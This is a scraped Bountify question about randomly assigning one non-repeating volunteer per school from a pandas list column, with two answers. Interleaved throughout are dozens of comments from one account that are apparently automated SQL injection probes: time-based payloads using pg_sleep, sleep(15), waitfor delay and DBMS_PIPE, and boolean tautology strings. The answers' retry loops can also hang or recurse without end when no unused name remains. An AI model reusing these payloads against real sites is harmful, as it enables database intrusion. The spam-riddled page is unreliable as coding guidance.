Select Random Value from Pandas list column for each row ensuring that value don't get picked again
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

I have a panda DataFrame below


import pandas as pd
data = {
'poc':["a", "b", "c", "d"],
'school':["school1", "school2", "school3", "school4"],
'volunteers':[["sam", "mat", "ali", "mike", "guy", "john"],
["sam", "mat", "ali", "mike"], ["rose", "sam", "mike", "jorge"],
["susan", "jack", "alex", "mat", "mike"]]
}
df = pd.DataFrame.from_dict(data) ​

I need to create a new column that has a random pick from the volunteers column to select 1 volunteer for each school ensuring that the same volunteer doesn't get picked twice

so far I have tried


import random
df["random_match"] = [random.choice(x) for x in df["volunteers"]]

but this just gives me a random pick without ensuring it is not repeated.

h9H1qlxb
gbtagbbj 6 months ago
-1 OR 2+232-232-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+232-232-1=0+0+0+1
gbtagbbj 6 months ago
1 RLIKE (SELECT (CASE WHEN (293=293) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
dJDuuRhI'
gbtagbbj 6 months ago
-5 OR 291=(SELECT 291 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 607=(SELECT 607 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 171=(SELECT 171 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
aWOQJ34e' OR 835=(SELECT 835 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Q8FrXiHP') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
r7hoBgit')) OR 148=(SELECT 148 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
1*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
1'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
-1 OR 2+469-469-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+469-469-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+916-916-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+916-916-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+804-804-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+804-804-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+220-220-1=0+0+0+1 or 'lYQgY65w'='
gbtagbbj 6 months ago
-1' OR 3+220-220-1=0+0+0+1 or 'lYQgY65w'='
gbtagbbj 6 months ago
-1" OR 2+335-335-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+335-335-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
yA0QHozq'
gbtagbbj 6 months ago
-5 OR 173=(SELECT 173 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 529=(SELECT 529 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 928=(SELECT 928 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
CQiLtGN5' OR 198=(SELECT 198 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Y3n4lfHa') OR 186=(SELECT 186 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
Y647jQqR')) OR 997=(SELECT 997 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
555*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
555'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
-1 OR 2+228-228-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 3+228-228-1=0+0+0+1 --
gbtagbbj 6 months ago
-1 OR 2+491-491-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+491-491-1=0+0+0+1
gbtagbbj 6 months ago
-1' OR 2+424-424-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 3+424-424-1=0+0+0+1 --
gbtagbbj 6 months ago
-1' OR 2+964-964-1=0+0+0+1 or 'lbvSAlYf'='
gbtagbbj 6 months ago
-1' OR 3+964-964-1=0+0+0+1 or 'lbvSAlYf'='
gbtagbbj 6 months ago
-1" OR 2+731-731-1=0+0+0+1 --
gbtagbbj 6 months ago
-1" OR 3+731-731-1=0+0+0+1 --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
1TBw3O6U'
gbtagbbj 6 months ago
-5 OR 994=(SELECT 994 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
38T39fSt' OR 477=(SELECT 477 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
qL3Ti1W0') OR 767=(SELECT 767 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
zpm1hSYO')) OR 808=(SELECT 808 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
Tags
python
pandas

Crowdsource coding tasks.

2 Solutions


Hi

It's really not an optimized python solution, but this should do the work :

import pandas as pd
data = {
    'poc':["a", "b", "c", "d"],
    'school':["school1", "school2", "school3", "school4"],
    'volunteers':[
        ["sam", "mat", "ali", "mike", "guy", "john"],
        ["sam", "mat", "ali", "mike"], 
        ["rose", "sam", "mike", "jorge"],
        ["susan", "jack", "alex", "mat", "mike"]
    ]
}
df = pd.DataFrame().from_dict(data)

import random

random_match = []
for x in df["volunteers"]:
    v = random.choice(x)
    while v in random_match:
        v=random.choice(x)

    random_match.append(v)


df["random_match"] = random_match

print(df)

Best regards

5reRpOeT
gbtagbbj 6 months ago
-1 OR 2+63-63-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+63-63-1=0+0+0+1
gbtagbbj 6 months ago
RLIKE (SELECT (CASE WHEN (94=94) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
CFCtKK5F'
gbtagbbj 6 months ago
-5 OR 183=(SELECT 183 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 339=(SELECT 339 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
KaoaHlv3' OR 313=(SELECT 313 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
dgY1Spz1') OR 677=(SELECT 677 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
7KZV4Xmc')) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago

Hello! I do not know any greater specific details about the given project, as such, I will have to make some inferences. Since you have given only first names in your data set, yet have multiple first names in multiple lists, and based upon the wording of the problem stated, I am going to infer that the students with the same first names are referring to the same student (although, since you have four lists, and four different "schools" in your data structure, I could be wrong, in which case, I have another solution that would work.) Assuming that each student whose name appears in more than one list is referencing the same student, and knowing that you don't want any student to be selected more than once, I designed the following solution. Please, let me know what you think!

import random
def random_choice_no_repeat(dat: list, out:list) :
    match = random.choice(dat)
    if match not in out:
        out.append(match)
    else:
        random_choice_no_repeat(dat, out)

volunteers = list()
for x in df["volunteers"] :
    random_choice_no_repeat(x, volunteers)
df["random_match"] = volunteers

And then of course you can see the results by doing

print(df["random_match"])

And you can obviously verify that this works by running it over and over and seeing if there are any repeats. I ran it quite a few times and did not see a single repeat!

JOBpsCvN
gbtagbbj 6 months ago
-1 OR 2+181-181-1=0+0+0+1
gbtagbbj 6 months ago
-1 OR 3+181-181-1=0+0+0+1
gbtagbbj 6 months ago
RLIKE (SELECT (CASE WHEN (549=549) THEN 1 ELSE 0x28 END)) --
gbtagbbj 6 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 6 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 6 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 6 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 6 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 6 months ago
Ed5GnqnB'
gbtagbbj 6 months ago
-5 OR 263=(SELECT 263 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-5) OR 480=(SELECT 480 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
-1)) OR 783=(SELECT 783 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
2I86XUar' OR 653=(SELECT 653 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
RxnnFyZh') OR 475=(SELECT 475 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
xzLbbIbC')) OR 715=(SELECT 715 FROM PG_SLEEP(15))--
gbtagbbj 6 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 6 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 6 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 6 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 6 months ago
View Timeline